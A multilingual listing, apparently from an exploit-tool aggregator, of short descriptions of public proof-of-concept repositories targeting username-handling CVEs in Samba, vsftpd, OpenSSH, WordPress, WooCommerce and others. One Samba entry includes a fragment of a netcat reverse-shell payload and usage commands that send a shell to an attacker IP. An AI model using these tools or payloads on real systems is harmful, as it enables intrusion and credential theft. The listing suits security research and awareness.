CVE-2025-24011-PoC

Proof of concept for CVE-2025-24011 based on https://github.com/advisories/GHSA-hmg4-wwm5-p999 Cet outil a été testé sur Umbraco versions 15.1.1 et 13.7.2 sur Ubuntu 24.04.2 LTS Les noms d'utilisateur dans Umbraco sont d'après ce que je comprends des adresses e-mail. Cet outil accepte une liste d...

exploit_cve-2007-2447_again

exploitcve-2007-2447again souviens-toi comment une petite erreur dans l'assainissement d'un nom d'utilisateur pourrait te donner un accès root à toute la machine...

OffensivePascal-CVE-2011-2523

CVE-2011-2523 Implémentation en FreePascal de CVE-2011-2523 Vulnérabilité vsFTPD 2.3.4 Utiliser : dans le nom d'utilisateur ouvre une backdoor en tant que root sur le port 6200 de la cible Prérequis Synapse. Si vous ne l'avez pas, installez-le via l'OPM...

CVE-2018-15473-exp

CVE-2018-15473-exp Ceci est un exploit pour CVE-2018-15473 emmm, j'ai l'impression que l'énumération de noms d'utilisateur sur openssh7.7 est vraiment courante, alors j'en ai profité pour écrire un exploit qui peut appeler le poc et l'utiliser avec un dictionnaire. Le poc est écrit en python2.7,...

PyUsernameMapScriptRCE

PyUsernameMapScriptRCE Exploit CVE-2007-2447 écrit en Python pour obtenir un reverse shell...

cve-2007-2447

CVE-2007-2447 Prérequis pysmb Informations La CVE-2007-2447 affecte Samba des versions 3.0.0 à 3.0.25rc3. Elle permet aux attaquants d'exécuter des commandes shell dans le paramètre username. Utilisation Ouvrez un port d'écoute de votre choix, configurez les variables dans le script et exécutez l...

CVE-2007-2447

CVE-2007-2447 Vulnérabilité d'injection de commandes à distance CVE-2007-2447, permettant à des attaquants distants d'exécuter des commandes arbitraires en spécifiant un nom d'utilisateur Samba contenant des méta-caractères shell...

SSHUsernameBruter-SSHUB

SSHUsernameBruter SSHUB Script entièrement fonctionnel pour bruteforcer une liste ou des noms d'utilisateur fournis contre des serveurs OpenSSH vulnérables, avec la possibilité d'essayer username/username comme identifiants de connexion - CVE-2018-15473...

CVE-2025-46047

CVE-2025-46047 Preuve de Concept d'Énumération de Noms d'Utilisateur Silverpeas = 6.4.2 Script de preuve de concept pour démontrer une vulnérabilité d'énumération de noms d'utilisateur dans Silverpeas versions 6.4.1 et 6.4.2. Détails de la Vulnérabilité Logiciel concerné : Silverpeas Versions...

ssh-enum

ssh-enum دراسة التحقق الإحصائي لـ CVE-2016-6210 إعادة تحقيق قابلة للتكرار لاستخراج أسماء المستخدمين في OpenSSH باستخدام التحليل الإحصائي. يعيد هذا المشروع تحقيق CVE-2016-6210 ، وهو قناة جانبية زمنية موثقة في OpenSSH، لتحديد ما إذا كانت لا تزال قابلة للملاحظة على خادم Ubuntu حديث باستخدام تكوين PA...

CVE-2024-57522

CVE-2024-57522 - Vulnérabilité XSS stockée dans Users.php - SourceCodester Packers and Movers Management System 1.0 Description Ce dépôt contient une preuve de concept PoC pour une vulnérabilité Cross-Site Scripting XSS stockée dans le Packers and Movers Management System 1.0 de SourceCodester. L...

CVE-2026-36227

CVE-2026-36227: Easy Chat Server 3.1 UserName Path Traversal PoC Este repositorio contiene una prueba de concepto benigna para CVE-2026-36227, un problema de path traversal en el manejo del registro de usuarios de Easy Chat Server 3.1. Este repositorio es únicamente para investigación de segurida...

woo

WooCommerce 3.3から5.5 - 認証されていないSQLインジェクション https://wpscan.com/vulnerability/1212fec8-1fde-41e5-af70-abdd7ffe5379 WooCommerceのSQLインジェクションを悪用し、ユーザーとパスワードハッシュを取得します コマンド root@kitploit: usage: woo.py -h -u URL -f FILE -p PROXY -i WID optional arguments: -h, --help show this help message and exit -u...

CVE-2018-15473

CVE-2018-15473 السبب خادم OpenSSH لا يؤخر معالجة مستخدم غير صالح عند تحليل حزمة تحتوي على طلب قبل اكتمال تحليلها بالكامل. يتعلق هذا الثغرة بـ auth2-gss.c و auth2-hostbased.c و auth2-pubkey.c. الاستغلال على الرغم من أن هذه الثغرة لا يمكن استخدامها لإنشاء قائمة صالحة بأسماء المستخدمين، إلا أنها لا...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Использование root@kitploit: Эксплуатируем цель 10.129.232.46 на порту 445, отправляем обратную оболочку на 10.10.14.82 порт 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 С указанием своих rport и lport python3...

CVE-2016-6210

CVE-2016-6210 Énumération de noms d'utilisateur contre les démons SSH affectés par CVE-2016-6210. Utilisez uniquement contre vos propres hôtes ! Attaquer des choses que vous n'êtes pas autorisé à faire peut vous causer de gros ennuis ! INSTALATION Cloner le dépôt : root@kitploit: git clone...

vsftpd-234-vuln-report

💥 Rapport d'exploitation de la backdoor vsftpd 2.3.4 Exploitation d'une vulnérabilité connue dans vsftpd 2.3.4 en utilisant Metasploit. 📌 Détails de la cible IP cible : 192.168.150.133 Service : FTP Version vulnérable : vsftpd 2.3.4 Module d'exploitation : exploit/unix/ftp/vsftpd234backdoor Charg...

CVE-2023-2594

CVE-2023-2594 https://vulners.com/cve/CVE-2023-2594 Уязвимость, классифицированная как критическая, была обнаружена в SourceCodester Food Ordering Management System 1.0. Затронута неизвестная функция компонента Registration. Манипуляция аргументом username приводит к SQL-инъекции. Атака может быт...

wpUsersScan

wpUsersScan À propos de wpUsersScan Énumérez la liste des utilisateurs des sites WordPress via l'API REST / CVE-2017-5487, WordPress 4.7.1 - Énumération des noms d'utilisateur Utilisation root@kitploit: $ python wpUsersScan.py URL Comment installer Cloner Clonez le dépôt avec : root@kitploit: $ g...

CVE-2021-39377

OPENSIS 8.0 : Vulnérabilité d'injection SQL CVE-2021-39377 Une vulnérabilité d'injection SQL existe dans la version 8.0 d'openSIS lorsque MySQL MariaDB est utilisé comme base de données de l'application. Un attaquant malveillant peut exécuter des commandes SQL sur la base de données Mysql MariaDB...